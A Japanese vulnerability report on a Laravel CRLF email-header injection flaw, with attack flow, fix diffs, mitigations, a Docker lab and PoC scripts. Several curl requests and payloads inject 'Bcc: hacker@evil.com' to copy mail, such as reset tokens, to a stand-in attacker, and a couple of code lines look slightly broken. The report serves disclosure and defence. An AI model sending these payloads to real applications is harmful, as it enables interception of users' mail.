CVE-2026-48019
CVE-2026-48019 Vulnerability Report
概要
| 項目 | 内容 |
|---|---|
| CVE番号 | CVE-2026-48019 |
| GHSA | GHSA-5vg9-5847-vvmq |
| 公開日 | 2026-06-01 |
| 最終更新 | 2026-06-01 |
| CVSS v3.1 | 8.9 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CVSS v4.0 | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:U/U:Green |
| CWE | CWE-93 (Improper Neutralization of CRLF Sequences) |
| EPSS | 【情報不足】(FIRST EPSS APIに未登録 — 新規CVEのため) |
| CISA KEV | なし (現在のところ確認されていない) |
| 発見者 | @OmarXtream |
| 関連CVE | Symfony CVE-2026-45067 (symfony/mimeのCRLFインジェクション) |
影響を受けるソフトウェアおよびバージョン
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
| laravel/framework (Composer) | < 12.60.0 | >= 12.60.0 |
| laravel/framework (Composer) | <= 13.9.0 | >= 13.10.0 |
| symfony/mime (間接依存) | 修正前のバージョン | CVE-2026-45067修正版 |
技術詳細
脆弱性の概要
Laravel Frameworkのデフォルトメールアドレス検証ルールにおいて、CRLF(\r\n)文字列の無効化が不十分であるため、細工されたメールアドレスがバリデーションを通過する。この脆弱性は、Laravelが使用するegulias/email-validatorライブラリ(RFC準拠のバリデーター)とSymfony Mimeの相互作用に起因する。
RFC 5322では、メールアドレスのローカルパートをダブルクォートで囲む場合、特殊文字(スペース、CRLF含む)を含めることが許可されている。egulias/email-validatorのRFCValidationはこの仕様に準拠しており、quoted-string内の\r\nを正当な文字として受け入れる。しかし、このメールアドレスがSymfony MimeのAddressコンストラクタ(pre-patch)に渡されると、SMTP送信時にCRLFがヘッダー終端として解釈され、意図しないヘッダー(Bcc, X-Header等)のインジェクションが可能となる。
根本原因
脆弱性は以下の2つのレイヤーの相互作用に存在する:
レイヤー1: Laravelのバリデーター (egulias/email-validator)
// src/Illuminate/Validation/Concerns/ValidatesAttributes.php (v12.59.0 - 脆弱)
public function validateEmail($attribute, $value, $parameters)
{
if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
return false;
}
// デフォルトでRFCValidationが使用される
// egulias/email-validatorのRFCValidationはRFC 5322に厳密準拠
// → quoted-string内の\r\nを「正当なRFC準拠」としてPASS
$validations = (new Collection($parameters))
->unique()
->map(fn ($validation) => match (true) {
$validation === 'strict' => new NoRFCWarningsValidation(),
$validation === 'dns' => new DNSCheckValidation(),
$validation === 'spoof' => new SpoofCheckValidation(),
$validation === 'filter' => new FilterEmailValidation(),
$validation === 'filter_unicode' => FilterEmailValidation::unicode(),
is_string($validation) && class_exists($validation) => $this->container->make($validation),
default => new RFCValidation(), // ← ここが問題
})
->values()
->all() ?: [new RFCValidation];
$emailValidator = Container::getInstanceclass;
return $emailValidator->isValid($value, new MultipleValidationWithAnd($validations));
}
レイヤー2: Symfony Mime Addressコンストラクタ
// Symfony Mime Address.php (pre-patch)
public function __construct(string $address, ?string $name = null)
{
// pre-patch: CRLFチェックがない → 細工されたアドレスをそのまま保存
$this->address = $address;
$this->name = $name;
}
なぜPHPのfilter_varは関係ないのか
PHPのfilter_var($email, FILTER_VALIDATE_EMAIL)は、quoted-string内の\r\nを拒否する。しかし、Laravel 12.xのデフォルトemailルールはfilter_varではなくegulias/email-validatorのRFCValidationを使用するため、この保護は適用されない。
攻撃フロー
Step 1: 攻撃者が細工されたメールアドレスをHTTPリクエストで送信
POST /contact
email: "admin\r\nBcc: hacker@evil.com"@target.com
Step 2: Laravelバリデーション通過
ValidatesAttributes::validateEmail()
→ egulias/email-validator RFCValidation
→ RFC 5322準拠: quoted-string内の\r\nは正当
→ PASS ✓ (ここが脆弱)
Step 3: メール送信処理
→ Laravel MailerがAddressオブジェクトを生成
→ Symfony Mimeがアドレスをそのまま保持
→ SMTPトランスポートが送信
Step 4: SMTPサーバーが受信する内容
RCPT TO:<"admin
Bcc: hacker@evil.com" ← ヘッダーインジェクション!
@target.com>
Step 5: 結果
✅ admin@target.com にメールが届く
✅ hacker@evil.com にBCCコピーが届く
✅ 攻撃者はパスワードリセットトークン、通知メール、機密情報を入手可能
トリガー条件
- 条件1: アプリケーションがユーザー入力によるメールアドレスに対してメール送信を行う (認証フロー、お問い合わせフォーム等)
- 条件2:
emailバリデーションルールがデフォルト設定(パラメータなし)で使用される →RFCValidationが適用される- ※
email:filterルールを明示的に指定していた場合はFilterEmailValidationが使用され、PHPのfilter_varでブロックされるため影響なし
- ※
PoC/Exploitの状況
| 項目 | 状況 |
|---|---|
| 公開PoC | なし (ExploitDB, Metasploit, GitHub PoC repos 未確認) |
| Metasploitモジュール | なし |
| Exploit成熟度 | PoC (本検証でDocker環境上でのHTTP経由再現確認済み) |
| 信頼できるリポジトリ | なし |
実被害・インシデント
現在のところ、CVE-2026-48019に特化した実被害事例は確認されていない。ただし、CRLFインジェクションによるSMTPヘッダー操作は理論的に可能であり、攻撃が成功した場合はパスワードリセットトークンの窃取、機密メールの傍受、メールサーバーのリレー悪用等の被害が考えられる。
検出方法
ブラックボックステスト
テスト用リクエスト・ペイロード
# 脆弱性テスト用リクエスト
curl -X POST https://target-app/api/contact \
-H "Content-Type: application/json" \
-d '{"email": "\"test\r\nBcc: attacker@evil.com\"@target.com", "message": "test"}'
判定基準:
- バリデーションエラー(422) → 修正済み ✓
- 200 OK + メール送信処理が実行 → 脆弱 ⚠️
WAFバイパス技法
現時点で公開されたCVE-2026-48019に特化したWAFバイパス手法は確認されていない。
バージョン特定手法
# composer.lock確認
grep '"name": "laravel/framework"' composer.lock -A 3
# または
php artisan --version # Laravel 12.xの場合
ホワイトボックステスト
ソースコード上の脆弱パターン
# 脆弱なバリデーターの実装を確認
grep -n "preg_match.*\\\\r\\\\n" vendor/laravel/framework/src/Illuminate/Validation/Concerns/ValidatesAttributes.php
# 上記grepが何も返さない → 脆弱 (v12.59.0以前)
# 上記grepがマッチする → 修正済み (v12.60.0以降)
対策
恒久的対策
- Laravel 12.x:
12.60.0以降にアップデートcomposer require laravel/framework:^12.60.0 - Laravel 13.x:
13.10.0以降にアップデートcomposer require laravel/framework:^13.10.0 - symfony/mime: CVE-2026-45067修正版にアップデート
暫定対策・軽減策
バリデーションルールの変更:
// ❌ 脆弱 (デフォルトRFCValidation)
'email' => 'required|email',
// ✅ 安全 (PHP filter_varを使用)
'email' => 'required|email:filter',
カスタムミドルウェアでのCRLFチェック:
if (preg_match('/[\r\n]/', $request->input('email'))) {
abort(400, 'Invalid email format');
}
修正パッチ詳細
修正コミット: commit 96e9a663db657cf37ef26cd794fda8ff60eaa451 by taylorotwell ("port fix")
変更ファイル数: 3ファイル + テストファイル2ファイル
変更行数: +105行, -15行
1. ValidatesAttributes.php (バリデーター)
// ❌ v12.59.0 (脆弱)
public function validateEmail($attribute, $value, $parameters)
{
if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
return false;
}
$validations = (new Collection($parameters))
->unique()
->map(fn ($validation) => match (true) {
// ... RFCValidation等
});
// ...
}
// ✅ v12.60.0 (修正)
public function validateEmail($attribute, $value, $parameters)
{
if (! is_string($value) && ! (is_object($value) && method_exists($value, '__toString'))) {
return false;
}
+ if (preg_match('/[\r\n]/', (string) $value) > 0) {
+ return false; // ← CRLFを含む場合は即座に拒否
+ }
$validations = (new Collection($parameters))
->unique()
->map(fn ($validation) => match (true) {
// ...
});
// ...
}
2. Mailables/Address.php (アドレスコンストラクタ)
// ❌ v12.59.0 (脆弱)
class Address
{
public function __construct(string $address, ?string $name = null)
{
$this->address = $address;
$this->name = $name;
}
}
// ✅ v12.60.0 (修正)
class Address
{
+ use InvalidArgumentException;
+
public function __construct(string $address, ?string $name = null)
{
+ if (preg_match('/[\r\n]/', $address) > 0) {
+ throw new InvalidArgumentException(
+ 'Email addresses may not contain line break characters.'
+ );
+ }
$this->address = $address;
$this->name = $name;
}
}
3. Message.php (メール送信メソッド)
すべてのアドレス処理メソッド(from(), sender(), returnPath(), to(), cc(), bcc())が新しいヘルパーメソッド経由にリファクタリング:
// 追加されたヘルパーメソッド
protected function createAddress($address, $name = null)
{
$this->ensureAddressIsSafe($address);
return new Address($address, (string) $name);
}
protected function ensureAddressIsSafe($address)
{
$addressString = $address instanceof Address ? $address->getAddress() : $address;
if (is_string($addressString) && preg_match('/[\r\n]/', $addressString) > 0) {
throw new InvalidArgumentException('Email addresses may not contain line break characters.');
}
return $address;
}
protected function ensureAddressesAreSafe(array $addresses)
{
return array_map(fn ($address) => $this->ensureAddressIsSafe($address), $addresses);
}
PoCスクリプト (実環境検証)
脆弱なLaravel 12.59.0と修正された12.60.0の両方で、実際のフレームワークのバリデーターを使用して検証済み。
検証環境
- 脆弱版: Laravel 12.59.0 + egulias/email-validator 4.0.4
- 修正版: Laravel 12.60.0 + egulias/email-validator 4.0.4
- PHP: 8.3.6
検証結果
| バージョン | "admin\r\nBcc:hacker@evil.com"@t.com |
test@example.com |
判定 |
|---|---|---|---|
| Laravel 12.59.0 | PASS ✓ | PASS ✓ | ⚠️ 脆弱 |
| Laravel 12.60.0 | BLOCK ✗ | PASS ✓ | ✅ 修正済み |
| Symfony Mime (最新) | BLOCK ✗ | — | ✅ 修正済み |
実際の検証出力 (脆弱版: Laravel 12.59.0)
Docker HTTP経由テスト
# 脆弱版コンテナ起動
docker run -d --name cve-2026-48019-vuln -p 8899:8000 cve-2026-48019:vulnerable
# 攻撃ペイロード送信 (HTTP POST /test)
curl -X POST http://localhost:8899/test \
-H "Content-Type: application/json" \
-d '{"email": "\"admin\r\nBcc: hacker@evil.com\"@target.com"}'
検証結果 (脆弱版 Laravel 12.59.0):
{
"email_raw": "\"admin\r\nBcc: hacker@evil.com\"@target.com",
"email_hex": "2261646d696e0d0a4263633a206861636b6572406576696c2e636f6d22407461726765742e636f6d",
"has_crlf": true,
"validation_passed": true,
"laravel_version": "12.59.0",
"cve_status": "VULNERABLE"
}
検証結果 (修正版 Laravel 12.60.0):
{
"email_raw": "\"admin\r\nBcc: hacker@evil.com\"@target.com",
"email_hex": "2261646d696e0d0a4263633a206861636b6572406576696c2e636f6d22407461726765742e636f6d",
"has_crlf": true,
"validation_passed": false,
"laravel_version": "12.60.0",
"cve_status": "SAFE"
}
検証結果マトリックス:
| バージョン | CRLFペイロード | 通常メール | 判定 |
|---|---|---|---|
| Laravel 12.59.0 (Docker) | PASS ✓ | PASS ✓ | ⚠️ 脆弱 |
| Laravel 12.60.0 (Docker) | BLOCK ✗ | PASS ✓ | ✅ 修正済み |
| Symfony Mime (最新) | BLOCK ✗ | — | ✅ 修正済み |
poc.php — 全文
<?php
/**
* CVE-2026-48019 Proof of Concept
* Laravel Framework CRLF Injection in Default Email Rule
*
* This script bootstraps the ACTUAL Laravel framework
* and tests the real validateEmail() method from ValidatesAttributes trait.
*
* Environment: Laravel 12.59.0 (vulnerable) + Symfony Mime (pre-patch)
* Run: php poc.php
*/
require __DIR__ . '/vendor/autoload.php';
use Illuminate\Container\Container;
use Illuminate\Translation\ArrayLoader;
use Illuminate\Translation\Translator;
use Illuminate\Validation\Factory as ValidatorFactory;
use Symfony\Component\Mime\Address;
function green($s) { return "\033[32m{$s}\033[0m"; }
function red($s) { return "\033[31m{$s}\033[0m"; }
function yellow($s){ return "\033[33m{$s}\033[0m"; }
function cyan($s) { return "\033[36m{$s}\033[0m"; }
function bold($s) { return "\033[1m{$s}\033[0m"; }
echo "\n";
echo bold("CVE-2026-48019: Laravel CRLF Injection PoC\n");
echo "Laravel " . \Illuminate\Foundation\Application::VERSION . "\n";
$container = new Container();
$loader = new ArrayLoader();
$translator = new Translator($loader, 'en');
$container->instance('translator', $translator);
$validatorFactory = new ValidatorFactory($translator, $container);
$testPayloads = [
["email" => "\"admin\r\nBcc: hacker@evil.com\"@target.com",
"label" => "CRLF in quoted-string local-part (Bcc injection)"],
["email" => "user\r\nBcc:evil@evil.com",
"label" => "CRLF before @domain (header injection)"],
["email" => "test@example.com",
"label" => "Normal email"],
];
foreach ($testPayloads as $test) {
$email = $test["email"];
$label = $test["label"];
$validator = $validatorFactory->make(
['email' => $email],
['email' => 'email']
);
$isValid = $validator->passes();
$hasCRLF = strpos($email, "\r\n") !== false;
$status = $isValid ? green("PASS") : red("BLOCK");
$crlfMark = $hasCRLF ? yellow(" [CRLF]") : "";
echo "{$label}{$crlfMark}: {$status}\n";
if ($hasCRLF && $isValid) {
echo " ⚠ VULNERABLE: CRLF payload passed validation!\n";
}
}
// Test Symfony Mime
try {
$addr = new Address("\"admin\r\nBcc: hacker@evil.com\"@target.com");
echo red("Symfony Mime ACCEPTED CRLF\n");
} catch (InvalidArgumentException $e) {
echo green("Symfony Mime REJECTED CRLF: " . $e->getMessage() . "\n");
}
再現環境
Dockerによる脆弱環境構築 (推奨)
本検証では、ホスト環境を汚さないDockerコンテナ上で脆弱性を再現した。
脆弱版の構築
FROM php:8.3-cli
RUN apt-get update && apt-get install -y git unzip libzip-dev curl \
&& docker-php-ext-install zip \
&& curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
RUN composer init --name=lab/vulnerable --no-interaction \
&& composer config audit.block-insecure false
# 脆弱なLaravel 12.59.0をインストール
RUN composer require laravel/framework:12.59.0 --no-audit --ignore-platform-reqs
EXPOSE 8000
CMD ["php", "-S", "0.0.0.0:8000", "-t", "/app", "server.php"]
# ビルド
docker build -t cve-2026-48019:vulnerable .
# 起動
docker run -d --name cve-2026-48019-vuln -p 8899:8000 cve-2026-48019:vulnerable
# 検証 (HTTP POST経由)
curl -X POST http://localhost:8899/test \
-H "Content-Type: application/json" \
-d '{"email": "\"admin\r\nBcc: hacker@evil.com\"@target.com"}'
修正版の構築
# Dockerfileの1行を変更
# FROM composer require laravel/framework:12.60.0 --no-audit --ignore-platform-reqs
docker build -f Dockerfile.patched -t cve-2026-48019:patched .
docker run -d --name cve-2026-48019-patched -p 8898:8000 cve-2026-48019:patched
# 同じペイロードで検証 → BLOCKされることを確認
curl -X POST http://localhost:8898/test \
-H "Content-Type: application/json" \
-d '{"email": "\"admin\r\nBcc: hacker@evil.com\"@target.com"}'
注意 (Pitfall 37): Composer 2.x+はデフォルトで既知の脆弱性パッケージをブロックするため、composer config audit.block-insecure falseおよび--no-auditフラグが必要。
バージョン確認
curl -s http://localhost:8899/test -X POST -H "Content-Type: application/json" -d '{"email":"test@example.com"}' | grep laravel_version
# → "laravel_version": "12.59.0"
検証用サーバーコード (server.php)
server.php — Docker内HTTPテストサーバー全文
<?php
require __DIR__ . '/vendor/autoload.php';
use Illuminate\Container\Container;
use Illuminate\Translation\ArrayLoader;
use Illuminate\Translation\Translator;
use Illuminate\Validation\Factory as ValidatorFactory;
$container = new Container();
$loader = new ArrayLoader();
$translator = new Translator($loader, 'en');
$container->instance('translator', $translator);
$validatorFactory = new ValidatorFactory($translator, $container);
$request_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($request_uri === '/test' && $_SERVER['REQUEST_METHOD'] === 'POST') {
$input = json_decode(file_get_contents('php://input'), true);
$email = $input['email'] ?? '';
$validator = $validatorFactory->make(
['email' => $email], ['email' => 'email']
);
$isValid = $validator->passes();
$hasCRLF = strpos($email, "\r\n") !== false;
header('Content-Type: application/json');
echo json_encode([
'email_raw' => $email,
'email_hex' => bin2hex($email),
'has_crlf' => $hasCRLF,
'validation_passed' => $isValid,
'laravel_version' => \Illuminate\Foundation\Application::VERSION,
'cve_status' => $hasCRLF && $isValid ? 'VULNERABLE' : 'SAFE',
], JSON_PRETTY_PRINT);
exit;
}
http_response_code(404);
echo json_encode(['error' => 'Not found']);
変更履歴
| 日付 | 変更内容 |
|---|---|
| 2026-06-03 | 初版作成: NVD/JVN/CISA/EPSS確認済み、実環境PoC検証済み、修正diff分析済み |
参考資料
公式情報源
- GitHub Advisory GHSA-5vg9-5847-vvmq
- Cybersecurity Help #VU133115
- NVD — 【情報不足】(NVDに未登録)
- JVN — 【情報不足】(JVNに未登録)
関連脆弱性
- Symfony CVE-2026-45067 — Symfony MimeのCRLFインジェクション (2026年5月20日修正)
- Laravelの修正はSymfony修正のDefense-in-Depthとして実装
PoC/Exploit
- 現時点でCVE-2026-48019に特化した公開PoCは確認されていない
- 本レポートのPoCスクリプトで実際のLaravelフレームワーク上での再現を確認済み
技術分析
- 修正コミット: https://github.com/laravel/framework/commit/96e9a663db657cf37ef26cd794fda8ff60eaa451
- 2026-06-04